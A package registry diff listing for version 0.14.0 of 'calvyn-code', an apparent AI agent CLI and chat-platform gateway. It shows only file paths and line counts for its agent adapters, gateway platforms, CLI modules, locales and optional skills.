calvyn-code 0.14.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1718) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +217 -0
  3. package/README.zh-CN.md +180 -0
  4. package/acp_adapter/__init__.py +1 -0
  5. package/acp_adapter/__main__.py +5 -0
  6. package/acp_adapter/auth.py +68 -0
  7. package/acp_adapter/bootstrap/__init__.py +0 -0
  8. package/acp_adapter/bootstrap/bootstrap_browser_tools.ps1 +288 -0
  9. package/acp_adapter/bootstrap/bootstrap_browser_tools.sh +399 -0
  10. package/acp_adapter/entry.py +292 -0
  11. package/acp_adapter/events.py +265 -0
  12. package/acp_adapter/permissions.py +148 -0
  13. package/acp_adapter/server.py +1713 -0
  14. package/acp_adapter/session.py +629 -0
  15. package/acp_adapter/tools.py +1180 -0
  16. package/agent/__init__.py +6 -0
  17. package/agent/__pycache__/__init__.cpython-312.pyc +0 -0
  18. package/agent/__pycache__/account_usage.cpython-312.pyc +0 -0
  19. package/agent/__pycache__/anthropic_adapter.cpython-312.pyc +0 -0
  20. package/agent/__pycache__/async_utils.cpython-312.pyc +0 -0
  21. package/agent/__pycache__/auxiliary_client.cpython-312.pyc +0 -0
  22. package/agent/__pycache__/codex_responses_adapter.cpython-312.pyc +0 -0
  23. package/agent/__pycache__/context_compressor.cpython-312.pyc +0 -0
  24. package/agent/__pycache__/context_engine.cpython-312.pyc +0 -0
  25. package/agent/__pycache__/context_references.cpython-312.pyc +0 -0
  26. package/agent/__pycache__/credential_pool.cpython-312.pyc +0 -0
  27. package/agent/__pycache__/curator.cpython-312.pyc +0 -0
  28. package/agent/__pycache__/display.cpython-312.pyc +0 -0
  29. package/agent/__pycache__/error_classifier.cpython-312.pyc +0 -0
  30. package/agent/__pycache__/file_safety.cpython-312.pyc +0 -0
  31. package/agent/__pycache__/google_code_assist.cpython-312.pyc +0 -0
  32. package/agent/__pycache__/google_oauth.cpython-312.pyc +0 -0
  33. package/agent/__pycache__/i18n.cpython-312.pyc +0 -0
  34. package/agent/__pycache__/image_gen_provider.cpython-312.pyc +0 -0
  35. package/agent/__pycache__/image_gen_registry.cpython-312.pyc +0 -0
  36. package/agent/__pycache__/insights.cpython-312.pyc +0 -0
  37. package/agent/__pycache__/lmstudio_reasoning.cpython-312.pyc +0 -0
  38. package/agent/__pycache__/manual_compression_feedback.cpython-312.pyc +0 -0
  39. package/agent/__pycache__/markdown_tables.cpython-312.pyc +0 -0
  40. package/agent/__pycache__/memory_manager.cpython-312.pyc +0 -0
  41. package/agent/__pycache__/memory_provider.cpython-312.pyc +0 -0
  42. package/agent/__pycache__/model_metadata.cpython-312.pyc +0 -0
  43. package/agent/__pycache__/models_dev.cpython-312.pyc +0 -0
  44. package/agent/__pycache__/moonshot_schema.cpython-312.pyc +0 -0
  45. package/agent/__pycache__/onboarding.cpython-312.pyc +0 -0
  46. package/agent/__pycache__/portal_tags.cpython-312.pyc +0 -0
  47. package/agent/__pycache__/prompt_builder.cpython-312.pyc +0 -0
  48. package/agent/__pycache__/prompt_caching.cpython-312.pyc +0 -0
  49. package/agent/__pycache__/redact.cpython-312.pyc +0 -0
  50. package/agent/__pycache__/retry_utils.cpython-312.pyc +0 -0
  51. package/agent/__pycache__/shell_hooks.cpython-312.pyc +0 -0
  52. package/agent/__pycache__/skill_commands.cpython-312.pyc +0 -0
  53. package/agent/__pycache__/skill_preprocessing.cpython-312.pyc +0 -0
  54. package/agent/__pycache__/skill_utils.cpython-312.pyc +0 -0
  55. package/agent/__pycache__/subdirectory_hints.cpython-312.pyc +0 -0
  56. package/agent/__pycache__/think_scrubber.cpython-312.pyc +0 -0
  57. package/agent/__pycache__/title_generator.cpython-312.pyc +0 -0
  58. package/agent/__pycache__/tool_guardrails.cpython-312.pyc +0 -0
  59. package/agent/__pycache__/tool_result_classification.cpython-312.pyc +0 -0
  60. package/agent/__pycache__/trajectory.cpython-312.pyc +0 -0
  61. package/agent/__pycache__/usage_pricing.cpython-312.pyc +0 -0
  62. package/agent/__pycache__/video_gen_provider.cpython-312.pyc +0 -0
  63. package/agent/__pycache__/video_gen_registry.cpython-312.pyc +0 -0
  64. package/agent/__pycache__/web_search_provider.cpython-312.pyc +0 -0
  65. package/agent/__pycache__/web_search_registry.cpython-312.pyc +0 -0
  66. package/agent/account_usage.py +326 -0
  67. package/agent/anthropic_adapter.py +2087 -0
  68. package/agent/async_utils.py +68 -0
  69. package/agent/auxiliary_client.py +4893 -0
  70. package/agent/bedrock_adapter.py +1276 -0
  71. package/agent/codex_responses_adapter.py +1084 -0
  72. package/agent/context_compressor.py +1583 -0
  73. package/agent/context_engine.py +211 -0
  74. package/agent/context_references.py +519 -0
  75. package/agent/copilot_acp_client.py +684 -0
  76. package/agent/credential_pool.py +1780 -0
  77. package/agent/credential_sources.py +449 -0
  78. package/agent/curator.py +1782 -0
  79. package/agent/curator_backup.py +694 -0
  80. package/agent/display.py +987 -0
  81. package/agent/error_classifier.py +1058 -0
  82. package/agent/file_safety.py +112 -0
  83. package/agent/gemini_cloudcode_adapter.py +909 -0
  84. package/agent/gemini_native_adapter.py +971 -0
  85. package/agent/gemini_schema.py +99 -0
  86. package/agent/google_code_assist.py +452 -0
  87. package/agent/google_oauth.py +1062 -0
  88. package/agent/i18n.py +258 -0
  89. package/agent/image_gen_provider.py +243 -0
  90. package/agent/image_gen_registry.py +145 -0
  91. package/agent/image_routing.py +301 -0
  92. package/agent/insights.py +931 -0
  93. package/agent/lmstudio_reasoning.py +48 -0
  94. package/agent/lsp/__init__.py +106 -0
  95. package/agent/lsp/__pycache__/__init__.cpython-312.pyc +0 -0
  96. package/agent/lsp/__pycache__/cli.cpython-312.pyc +0 -0
  97. package/agent/lsp/__pycache__/client.cpython-312.pyc +0 -0
  98. package/agent/lsp/__pycache__/eventlog.cpython-312.pyc +0 -0
  99. package/agent/lsp/__pycache__/manager.cpython-312.pyc +0 -0
  100. package/agent/lsp/__pycache__/protocol.cpython-312.pyc +0 -0
  101. package/agent/lsp/__pycache__/servers.cpython-312.pyc +0 -0
  102. package/agent/lsp/__pycache__/workspace.cpython-312.pyc +0 -0
  103. package/agent/lsp/cli.py +308 -0
  104. package/agent/lsp/client.py +930 -0
  105. package/agent/lsp/eventlog.py +213 -0
  106. package/agent/lsp/install.py +376 -0
  107. package/agent/lsp/manager.py +644 -0
  108. package/agent/lsp/protocol.py +196 -0
  109. package/agent/lsp/range_shift.py +149 -0
  110. package/agent/lsp/reporter.py +78 -0
  111. package/agent/lsp/servers.py +1040 -0
  112. package/agent/lsp/workspace.py +223 -0
  113. package/agent/manual_compression_feedback.py +49 -0
  114. package/agent/markdown_tables.py +309 -0
  115. package/agent/memory_manager.py +556 -0
  116. package/agent/memory_provider.py +279 -0
  117. package/agent/model_metadata.py +1827 -0
  118. package/agent/models_dev.py +724 -0
  119. package/agent/moonshot_schema.py +231 -0
  120. package/agent/nous_rate_guard.py +326 -0
  121. package/agent/onboarding.py +193 -0
  122. package/agent/plugin_llm.py +1046 -0
  123. package/agent/portal_tags.py +64 -0
  124. package/agent/prompt_builder.py +1457 -0
  125. package/agent/prompt_caching.py +79 -0
  126. package/agent/rate_limit_tracker.py +246 -0
  127. package/agent/redact.py +403 -0
  128. package/agent/retry_utils.py +57 -0
  129. package/agent/shell_hooks.py +837 -0
  130. package/agent/skill_commands.py +502 -0
  131. package/agent/skill_preprocessing.py +131 -0
  132. package/agent/skill_utils.py +512 -0
  133. package/agent/subdirectory_hints.py +224 -0
  134. package/agent/think_scrubber.py +386 -0
  135. package/agent/title_generator.py +171 -0
  136. package/agent/tool_guardrails.py +458 -0
  137. package/agent/tool_result_classification.py +26 -0
  138. package/agent/trajectory.py +56 -0
  139. package/agent/transports/__init__.py +68 -0
  140. package/agent/transports/__pycache__/__init__.cpython-312.pyc +0 -0
  141. package/agent/transports/__pycache__/anthropic.cpython-312.pyc +0 -0
  142. package/agent/transports/__pycache__/base.cpython-312.pyc +0 -0
  143. package/agent/transports/__pycache__/bedrock.cpython-312.pyc +0 -0
  144. package/agent/transports/__pycache__/chat_completions.cpython-312.pyc +0 -0
  145. package/agent/transports/__pycache__/codex.cpython-312.pyc +0 -0
  146. package/agent/transports/__pycache__/types.cpython-312.pyc +0 -0
  147. package/agent/transports/anthropic.py +179 -0
  148. package/agent/transports/base.py +89 -0
  149. package/agent/transports/bedrock.py +154 -0
  150. package/agent/transports/chat_completions.py +614 -0
  151. package/agent/transports/codex.py +283 -0
  152. package/agent/transports/codex_app_server.py +368 -0
  153. package/agent/transports/codex_app_server_session.py +810 -0
  154. package/agent/transports/codex_event_projector.py +312 -0
  155. package/agent/transports/hermes_tools_mcp_server.py +233 -0
  156. package/agent/transports/types.py +162 -0
  157. package/agent/usage_pricing.py +877 -0
  158. package/agent/video_gen_provider.py +300 -0
  159. package/agent/video_gen_registry.py +117 -0
  160. package/agent/web_search_provider.py +221 -0
  161. package/agent/web_search_registry.py +262 -0
  162. package/assets/banner.png +0 -0
  163. package/batch_runner.py +1303 -0
  164. package/bin/calvyn.js +67 -0
  165. package/calvyn_bootstrap.py +130 -0
  166. package/calvyn_constants.py +346 -0
  167. package/calvyn_logging.py +390 -0
  168. package/calvyn_state.py +2967 -0
  169. package/calvyn_time.py +105 -0
  170. package/cli.py +14160 -0
  171. package/cron/__init__.py +42 -0
  172. package/cron/__pycache__/__init__.cpython-312.pyc +0 -0
  173. package/cron/__pycache__/jobs.cpython-312.pyc +0 -0
  174. package/cron/__pycache__/scheduler.cpython-312.pyc +0 -0
  175. package/cron/jobs.py +1160 -0
  176. package/cron/scheduler.py +1832 -0
  177. package/gateway/__init__.py +35 -0
  178. package/gateway/__pycache__/__init__.cpython-312.pyc +0 -0
  179. package/gateway/__pycache__/channel_directory.cpython-312.pyc +0 -0
  180. package/gateway/__pycache__/config.cpython-312.pyc +0 -0
  181. package/gateway/__pycache__/delivery.cpython-312.pyc +0 -0
  182. package/gateway/__pycache__/display_config.cpython-312.pyc +0 -0
  183. package/gateway/__pycache__/hooks.cpython-312.pyc +0 -0
  184. package/gateway/__pycache__/pairing.cpython-312.pyc +0 -0
  185. package/gateway/__pycache__/platform_registry.cpython-312.pyc +0 -0
  186. package/gateway/__pycache__/restart.cpython-312.pyc +0 -0
  187. package/gateway/__pycache__/run.cpython-312.pyc +0 -0
  188. package/gateway/__pycache__/runtime_footer.cpython-312.pyc +0 -0
  189. package/gateway/__pycache__/session.cpython-312.pyc +0 -0
  190. package/gateway/__pycache__/session_context.cpython-312.pyc +0 -0
  191. package/gateway/__pycache__/shutdown_forensics.cpython-312.pyc +0 -0
  192. package/gateway/__pycache__/slash_access.cpython-312.pyc +0 -0
  193. package/gateway/__pycache__/status.cpython-312.pyc +0 -0
  194. package/gateway/__pycache__/stream_consumer.cpython-312.pyc +0 -0
  195. package/gateway/__pycache__/whatsapp_identity.cpython-312.pyc +0 -0
  196. package/gateway/assets/telegram-botfather-threads-settings.jpg +0 -0
  197. package/gateway/builtin_hooks/__init__.py +1 -0
  198. package/gateway/channel_directory.py +357 -0
  199. package/gateway/config.py +1873 -0
  200. package/gateway/delivery.py +258 -0
  201. package/gateway/display_config.py +206 -0
  202. package/gateway/hooks.py +210 -0
  203. package/gateway/mirror.py +179 -0
  204. package/gateway/pairing.py +322 -0
  205. package/gateway/platform_registry.py +260 -0
  206. package/gateway/platforms/ADDING_A_PLATFORM.md +374 -0
  207. package/gateway/platforms/__init__.py +45 -0
  208. package/gateway/platforms/__pycache__/__init__.cpython-312.pyc +0 -0
  209. package/gateway/platforms/__pycache__/base.cpython-312.pyc +0 -0
  210. package/gateway/platforms/__pycache__/helpers.cpython-312.pyc +0 -0
  211. package/gateway/platforms/__pycache__/telegram.cpython-312.pyc +0 -0
  212. package/gateway/platforms/__pycache__/telegram_network.cpython-312.pyc +0 -0
  213. package/gateway/platforms/__pycache__/yuanbao.cpython-312.pyc +0 -0
  214. package/gateway/platforms/__pycache__/yuanbao_media.cpython-312.pyc +0 -0
  215. package/gateway/platforms/__pycache__/yuanbao_proto.cpython-312.pyc +0 -0
  216. package/gateway/platforms/_http_client_limits.py +84 -0
  217. package/gateway/platforms/api_server.py +3488 -0
  218. package/gateway/platforms/base.py +3747 -0
  219. package/gateway/platforms/bluebubbles.py +937 -0
  220. package/gateway/platforms/dingtalk.py +1473 -0
  221. package/gateway/platforms/discord.py +5584 -0
  222. package/gateway/platforms/email.py +773 -0
  223. package/gateway/platforms/feishu.py +5059 -0
  224. package/gateway/platforms/feishu_comment.py +1382 -0
  225. package/gateway/platforms/feishu_comment_rules.py +430 -0
  226. package/gateway/platforms/helpers.py +279 -0
  227. package/gateway/platforms/homeassistant.py +449 -0
  228. package/gateway/platforms/matrix.py +2777 -0
  229. package/gateway/platforms/mattermost.py +852 -0
  230. package/gateway/platforms/msgraph_webhook.py +397 -0
  231. package/gateway/platforms/qqbot/__init__.py +91 -0
  232. package/gateway/platforms/qqbot/adapter.py +3072 -0
  233. package/gateway/platforms/qqbot/chunked_upload.py +602 -0
  234. package/gateway/platforms/qqbot/constants.py +74 -0
  235. package/gateway/platforms/qqbot/crypto.py +45 -0
  236. package/gateway/platforms/qqbot/keyboards.py +473 -0
  237. package/gateway/platforms/qqbot/onboard.py +220 -0
  238. package/gateway/platforms/qqbot/utils.py +71 -0
  239. package/gateway/platforms/signal.py +1518 -0
  240. package/gateway/platforms/signal_rate_limit.py +369 -0
  241. package/gateway/platforms/slack.py +3028 -0
  242. package/gateway/platforms/sms.py +377 -0
  243. package/gateway/platforms/telegram.py +4836 -0
  244. package/gateway/platforms/telegram_network.py +249 -0
  245. package/gateway/platforms/webhook.py +806 -0
  246. package/gateway/platforms/wecom.py +1610 -0
  247. package/gateway/platforms/wecom_callback.py +403 -0
  248. package/gateway/platforms/wecom_crypto.py +142 -0
  249. package/gateway/platforms/weixin.py +2170 -0
  250. package/gateway/platforms/whatsapp.py +1283 -0
  251. package/gateway/platforms/yuanbao.py +4873 -0
  252. package/gateway/platforms/yuanbao_media.py +645 -0
  253. package/gateway/platforms/yuanbao_proto.py +1209 -0
  254. package/gateway/platforms/yuanbao_sticker.py +558 -0
  255. package/gateway/restart.py +20 -0
  256. package/gateway/run.py +17074 -0
  257. package/gateway/runtime_footer.py +150 -0
  258. package/gateway/session.py +1399 -0
  259. package/gateway/session_context.py +156 -0
  260. package/gateway/shutdown_forensics.py +462 -0
  261. package/gateway/slash_access.py +229 -0
  262. package/gateway/status.py +972 -0
  263. package/gateway/sticker_cache.py +111 -0
  264. package/gateway/stream_consumer.py +1286 -0
  265. package/gateway/whatsapp_identity.py +156 -0
  266. package/hermes_cli/__init__.py +47 -0
  267. package/hermes_cli/__pycache__/__init__.cpython-312.pyc +0 -0
  268. package/hermes_cli/__pycache__/_parser.cpython-312.pyc +0 -0
  269. package/hermes_cli/__pycache__/auth.cpython-312.pyc +0 -0
  270. package/hermes_cli/__pycache__/banner.cpython-312.pyc +0 -0
  271. package/hermes_cli/__pycache__/browser_connect.cpython-312.pyc +0 -0
  272. package/hermes_cli/__pycache__/callbacks.cpython-312.pyc +0 -0
  273. package/hermes_cli/__pycache__/checkpoints.cpython-312.pyc +0 -0
  274. package/hermes_cli/__pycache__/cli_output.cpython-312.pyc +0 -0
  275. package/hermes_cli/__pycache__/codex_models.cpython-312.pyc +0 -0
  276. package/hermes_cli/__pycache__/codex_runtime_switch.cpython-312.pyc +0 -0
  277. package/hermes_cli/__pycache__/colors.cpython-312.pyc +0 -0
  278. package/hermes_cli/__pycache__/commands.cpython-312.pyc +0 -0
  279. package/hermes_cli/__pycache__/config.cpython-312.pyc +0 -0
  280. package/hermes_cli/__pycache__/copilot_auth.cpython-312.pyc +0 -0
  281. package/hermes_cli/__pycache__/curator.cpython-312.pyc +0 -0
  282. package/hermes_cli/__pycache__/curses_ui.cpython-312.pyc +0 -0
  283. package/hermes_cli/__pycache__/debug.cpython-312.pyc +0 -0
  284. package/hermes_cli/__pycache__/default_soul.cpython-312.pyc +0 -0
  285. package/hermes_cli/__pycache__/env_loader.cpython-312.pyc +0 -0
  286. package/hermes_cli/__pycache__/fallback_cmd.cpython-312.pyc +0 -0
  287. package/hermes_cli/__pycache__/gateway.cpython-312.pyc +0 -0
  288. package/hermes_cli/__pycache__/gateway_windows.cpython-312.pyc +0 -0
  289. package/hermes_cli/__pycache__/goals.cpython-312.pyc +0 -0
  290. package/hermes_cli/__pycache__/inventory.cpython-312.pyc +0 -0
  291. package/hermes_cli/__pycache__/kanban.cpython-312.pyc +0 -0
  292. package/hermes_cli/__pycache__/kanban_db.cpython-312.pyc +0 -0
  293. package/hermes_cli/__pycache__/main.cpython-312.pyc +0 -0
  294. package/hermes_cli/__pycache__/model_catalog.cpython-312.pyc +0 -0
  295. package/hermes_cli/__pycache__/model_normalize.cpython-312.pyc +0 -0
  296. package/hermes_cli/__pycache__/model_switch.cpython-312.pyc +0 -0
  297. package/hermes_cli/__pycache__/models.cpython-312.pyc +0 -0
  298. package/hermes_cli/__pycache__/nous_subscription.cpython-312.pyc +0 -0
  299. package/hermes_cli/__pycache__/pairing.cpython-312.pyc +0 -0
  300. package/hermes_cli/__pycache__/platforms.cpython-312.pyc +0 -0
  301. package/hermes_cli/__pycache__/plugins.cpython-312.pyc +0 -0
  302. package/hermes_cli/__pycache__/profiles.cpython-312.pyc +0 -0
  303. package/hermes_cli/__pycache__/providers.cpython-312.pyc +0 -0
  304. package/hermes_cli/__pycache__/pt_input_extras.cpython-312.pyc +0 -0
  305. package/hermes_cli/__pycache__/runtime_provider.cpython-312.pyc +0 -0
  306. package/hermes_cli/__pycache__/security_advisories.cpython-312.pyc +0 -0
  307. package/hermes_cli/__pycache__/setup.cpython-312.pyc +0 -0
  308. package/hermes_cli/__pycache__/skills_hub.cpython-312.pyc +0 -0
  309. package/hermes_cli/__pycache__/skin_engine.cpython-312.pyc +0 -0
  310. package/hermes_cli/__pycache__/stdio.cpython-312.pyc +0 -0
  311. package/hermes_cli/__pycache__/timeouts.cpython-312.pyc +0 -0
  312. package/hermes_cli/__pycache__/tips.cpython-312.pyc +0 -0
  313. package/hermes_cli/__pycache__/tools_config.cpython-312.pyc +0 -0
  314. package/hermes_cli/__pycache__/voice.cpython-312.pyc +0 -0
  315. package/hermes_cli/_parser.py +365 -0
  316. package/hermes_cli/_subprocess_compat.py +175 -0
  317. package/hermes_cli/auth.py +6299 -0
  318. package/hermes_cli/auth_commands.py +749 -0
  319. package/hermes_cli/azure_detect.py +300 -0
  320. package/hermes_cli/backup.py +938 -0
  321. package/hermes_cli/banner.py +703 -0
  322. package/hermes_cli/browser_connect.py +139 -0
  323. package/hermes_cli/callbacks.py +243 -0
  324. package/hermes_cli/checkpoints.py +244 -0
  325. package/hermes_cli/claw.py +810 -0
  326. package/hermes_cli/cli_output.py +78 -0
  327. package/hermes_cli/clipboard.py +495 -0
  328. package/hermes_cli/codex_models.py +198 -0
  329. package/hermes_cli/codex_runtime_plugin_migration.py +757 -0
  330. package/hermes_cli/codex_runtime_switch.py +266 -0
  331. package/hermes_cli/colors.py +38 -0
  332. package/hermes_cli/commands.py +1728 -0
  333. package/hermes_cli/completion.py +315 -0
  334. package/hermes_cli/config.py +5382 -0
  335. package/hermes_cli/copilot_auth.py +392 -0
  336. package/hermes_cli/cron.py +313 -0
  337. package/hermes_cli/curator.py +598 -0
  338. package/hermes_cli/curses_ui.py +472 -0
  339. package/hermes_cli/debug.py +747 -0
  340. package/hermes_cli/default_soul.py +11 -0
  341. package/hermes_cli/dep_ensure.py +107 -0
  342. package/hermes_cli/dingtalk_auth.py +293 -0
  343. package/hermes_cli/doctor.py +1863 -0
  344. package/hermes_cli/dump.py +326 -0
  345. package/hermes_cli/env_loader.py +175 -0
  346. package/hermes_cli/fallback_cmd.py +361 -0
  347. package/hermes_cli/gateway.py +5422 -0
  348. package/hermes_cli/gateway_windows.py +692 -0
  349. package/hermes_cli/goals.py +757 -0
  350. package/hermes_cli/hooks.py +385 -0
  351. package/hermes_cli/inventory.py +240 -0
  352. package/hermes_cli/kanban.py +2252 -0
  353. package/hermes_cli/kanban_db.py +4840 -0
  354. package/hermes_cli/kanban_diagnostics.py +776 -0
  355. package/hermes_cli/kanban_specify.py +266 -0
  356. package/hermes_cli/logs.py +391 -0
  357. package/hermes_cli/main.py +12396 -0
  358. package/hermes_cli/mcp_config.py +781 -0
  359. package/hermes_cli/memory_setup.py +465 -0
  360. package/hermes_cli/model_catalog.py +330 -0
  361. package/hermes_cli/model_normalize.py +473 -0
  362. package/hermes_cli/model_switch.py +1777 -0
  363. package/hermes_cli/models.py +3789 -0
  364. package/hermes_cli/nous_subscription.py +799 -0
  365. package/hermes_cli/oneshot.py +351 -0
  366. package/hermes_cli/pairing.py +115 -0
  367. package/hermes_cli/platforms.py +83 -0
  368. package/hermes_cli/plugins.py +1562 -0
  369. package/hermes_cli/plugins_cmd.py +1587 -0
  370. package/hermes_cli/profile_distribution.py +703 -0
  371. package/hermes_cli/profiles.py +1319 -0
  372. package/hermes_cli/providers.py +720 -0
  373. package/hermes_cli/proxy/__init__.py +20 -0
  374. package/hermes_cli/proxy/adapters/__init__.py +35 -0
  375. package/hermes_cli/proxy/adapters/base.py +94 -0
  376. package/hermes_cli/proxy/adapters/nous_portal.py +137 -0
  377. package/hermes_cli/proxy/cli.py +141 -0
  378. package/hermes_cli/proxy/server.py +265 -0
  379. package/hermes_cli/pt_input_extras.py +83 -0
  380. package/hermes_cli/pty_bridge.py +237 -0
  381. package/hermes_cli/relaunch.py +205 -0
  382. package/hermes_cli/runtime_provider.py +1428 -0
  383. package/hermes_cli/security_advisories.py +452 -0
  384. package/hermes_cli/setup.py +3559 -0
  385. package/hermes_cli/skills_config.py +177 -0
  386. package/hermes_cli/skills_hub.py +1595 -0
  387. package/hermes_cli/skin_engine.py +929 -0
  388. package/hermes_cli/slack_cli.py +160 -0
  389. package/hermes_cli/status.py +550 -0
  390. package/hermes_cli/stdio.py +252 -0
  391. package/hermes_cli/timeouts.py +82 -0
  392. package/hermes_cli/tips.py +487 -0
  393. package/hermes_cli/tools_config.py +3151 -0
  394. package/hermes_cli/uninstall.py +681 -0
  395. package/hermes_cli/vercel_auth.py +70 -0
  396. package/hermes_cli/voice.py +846 -0
  397. package/hermes_cli/web_server.py +4438 -0
  398. package/hermes_cli/webhook.py +275 -0
  399. package/locales/af.yaml +350 -0
  400. package/locales/de.yaml +350 -0
  401. package/locales/en.yaml +365 -0
  402. package/locales/es.yaml +350 -0
  403. package/locales/fr.yaml +350 -0
  404. package/locales/ga.yaml +354 -0
  405. package/locales/hu.yaml +350 -0
  406. package/locales/it.yaml +350 -0
  407. package/locales/ja.yaml +350 -0
  408. package/locales/ko.yaml +350 -0
  409. package/locales/pt.yaml +350 -0
  410. package/locales/ru.yaml +350 -0
  411. package/locales/tr.yaml +350 -0
  412. package/locales/uk.yaml +350 -0
  413. package/locales/zh-hant.yaml +350 -0
  414. package/locales/zh.yaml +350 -0
  415. package/mcp_serve.py +898 -0
  416. package/model_tools.py +899 -0
  417. package/optional-skills/DESCRIPTION.md +24 -0
  418. package/optional-skills/autonomous-ai-agents/DESCRIPTION.md +2 -0
  419. package/optional-skills/autonomous-ai-agents/blackbox/SKILL.md +144 -0
  420. package/optional-skills/autonomous-ai-agents/honcho/SKILL.md +431 -0
  421. package/optional-skills/blockchain/evm/SKILL.md +211 -0
  422. package/optional-skills/blockchain/evm/scripts/evm_client.py +1508 -0
  423. package/optional-skills/blockchain/hyperliquid/SKILL.md +211 -0
  424. package/optional-skills/blockchain/hyperliquid/scripts/hyperliquid_client.py +1660 -0
  425. package/optional-skills/blockchain/solana/SKILL.md +208 -0
  426. package/optional-skills/blockchain/solana/scripts/solana_client.py +698 -0
  427. package/optional-skills/communication/DESCRIPTION.md +1 -0
  428. package/optional-skills/communication/one-three-one-rule/SKILL.md +104 -0
  429. package/optional-skills/creative/blender-mcp/SKILL.md +117 -0
  430. package/optional-skills/creative/concept-diagrams/SKILL.md +362 -0
  431. package/optional-skills/creative/concept-diagrams/examples/apartment-floor-plan-conversion.md +244 -0
  432. package/optional-skills/creative/concept-diagrams/examples/automated-password-reset-flow.md +276 -0
  433. package/optional-skills/creative/concept-diagrams/examples/autonomous-llm-research-agent-flow.md +240 -0
  434. package/optional-skills/creative/concept-diagrams/examples/banana-journey-tree-to-smoothie.md +161 -0
  435. package/optional-skills/creative/concept-diagrams/examples/commercial-aircraft-structure.md +209 -0
  436. package/optional-skills/creative/concept-diagrams/examples/cpu-ooo-microarchitecture.md +236 -0
  437. package/optional-skills/creative/concept-diagrams/examples/electricity-grid-flow.md +182 -0
  438. package/optional-skills/creative/concept-diagrams/examples/feature-film-production-pipeline.md +172 -0
  439. package/optional-skills/creative/concept-diagrams/examples/hospital-emergency-department-flow.md +165 -0
  440. package/optional-skills/creative/concept-diagrams/examples/ml-benchmark-grouped-bar-chart.md +114 -0
  441. package/optional-skills/creative/concept-diagrams/examples/place-order-uml-sequence.md +325 -0
  442. package/optional-skills/creative/concept-diagrams/examples/smart-city-infrastructure.md +173 -0
  443. package/optional-skills/creative/concept-diagrams/examples/smartphone-layer-anatomy.md +154 -0
  444. package/optional-skills/creative/concept-diagrams/examples/sn2-reaction-mechanism.md +247 -0
  445. package/optional-skills/creative/concept-diagrams/examples/wind-turbine-structure.md +338 -0
  446. package/optional-skills/creative/concept-diagrams/references/dashboard-patterns.md +43 -0
  447. package/optional-skills/creative/concept-diagrams/references/infrastructure-patterns.md +144 -0
  448. package/optional-skills/creative/concept-diagrams/references/physical-shape-cookbook.md +42 -0
  449. package/optional-skills/creative/concept-diagrams/templates/template.html +174 -0
  450. package/optional-skills/creative/hyperframes/SKILL.md +191 -0
  451. package/optional-skills/creative/hyperframes/references/cli.md +185 -0
  452. package/optional-skills/creative/hyperframes/references/composition.md +129 -0
  453. package/optional-skills/creative/hyperframes/references/features.md +289 -0
  454. package/optional-skills/creative/hyperframes/references/gsap.md +136 -0
  455. package/optional-skills/creative/hyperframes/references/troubleshooting.md +137 -0
  456. package/optional-skills/creative/hyperframes/references/website-to-video.md +145 -0
  457. package/optional-skills/creative/hyperframes/scripts/setup.sh +135 -0
  458. package/optional-skills/creative/kanban-video-orchestrator/SKILL.md +207 -0
  459. package/optional-skills/creative/kanban-video-orchestrator/assets/brief.md.tmpl +79 -0
  460. package/optional-skills/creative/kanban-video-orchestrator/assets/setup.sh.tmpl +185 -0
  461. package/optional-skills/creative/kanban-video-orchestrator/assets/soul.md.tmpl +38 -0
  462. package/optional-skills/creative/kanban-video-orchestrator/references/examples.md +227 -0
  463. package/optional-skills/creative/kanban-video-orchestrator/references/intake.md +166 -0
  464. package/optional-skills/creative/kanban-video-orchestrator/references/kanban-setup.md +276 -0
  465. package/optional-skills/creative/kanban-video-orchestrator/references/monitoring.md +180 -0
  466. package/optional-skills/creative/kanban-video-orchestrator/references/role-archetypes.md +298 -0
  467. package/optional-skills/creative/kanban-video-orchestrator/references/tool-matrix.md +317 -0
  468. package/optional-skills/creative/kanban-video-orchestrator/scripts/bootstrap_pipeline.py +501 -0
  469. package/optional-skills/creative/kanban-video-orchestrator/scripts/monitor.py +195 -0
  470. package/optional-skills/creative/meme-generation/EXAMPLES.md +46 -0
  471. package/optional-skills/creative/meme-generation/SKILL.md +130 -0
  472. package/optional-skills/creative/meme-generation/scripts/generate_meme.py +471 -0
  473. package/optional-skills/creative/meme-generation/scripts/templates.json +97 -0
  474. package/optional-skills/devops/cli/SKILL.md +156 -0
  475. package/optional-skills/devops/cli/references/app-discovery.md +112 -0
  476. package/optional-skills/devops/cli/references/authentication.md +59 -0
  477. package/optional-skills/devops/cli/references/cli-reference.md +104 -0
  478. package/optional-skills/devops/cli/references/running-apps.md +171 -0
  479. package/optional-skills/devops/docker-management/SKILL.md +281 -0
  480. package/optional-skills/devops/pinggy-tunnel/SKILL.md +309 -0
  481. package/optional-skills/devops/watchers/SKILL.md +112 -0
  482. package/optional-skills/devops/watchers/scripts/_watermark.py +148 -0
  483. package/optional-skills/devops/watchers/scripts/watch_github.py +168 -0
  484. package/optional-skills/devops/watchers/scripts/watch_http_json.py +131 -0
  485. package/optional-skills/devops/watchers/scripts/watch_rss.py +121 -0
  486. package/optional-skills/dogfood/DESCRIPTION.md +3 -0
  487. package/optional-skills/dogfood/adversarial-ux-test/SKILL.md +191 -0
  488. package/optional-skills/email/agentmail/SKILL.md +126 -0
  489. package/optional-skills/finance/3-statement-model/SKILL.md +433 -0
  490. package/optional-skills/finance/3-statement-model/references/formatting.md +118 -0
  491. package/optional-skills/finance/3-statement-model/references/formulas.md +292 -0
  492. package/optional-skills/finance/3-statement-model/references/sec-filings.md +125 -0
  493. package/optional-skills/finance/comps-analysis/SKILL.md +662 -0
  494. package/optional-skills/finance/dcf-model/SKILL.md +1270 -0
  495. package/optional-skills/finance/dcf-model/TROUBLESHOOTING.md +40 -0
  496. package/optional-skills/finance/dcf-model/requirements.txt +7 -0
  497. package/optional-skills/finance/dcf-model/scripts/validate_dcf.py +292 -0
  498. package/optional-skills/finance/excel-author/SKILL.md +244 -0
  499. package/optional-skills/finance/excel-author/scripts/recalc.py +88 -0
  500. package/optional-skills/finance/lbo-model/SKILL.md +291 -0
  501. package/optional-skills/finance/merger-model/SKILL.md +144 -0
  502. package/optional-skills/finance/pptx-author/SKILL.md +173 -0
  503. package/optional-skills/finance/stocks/SKILL.md +95 -0
  504. package/optional-skills/finance/stocks/scripts/stocks_client.py +755 -0
  505. package/optional-skills/health/DESCRIPTION.md +1 -0
  506. package/optional-skills/health/fitness-nutrition/SKILL.md +256 -0
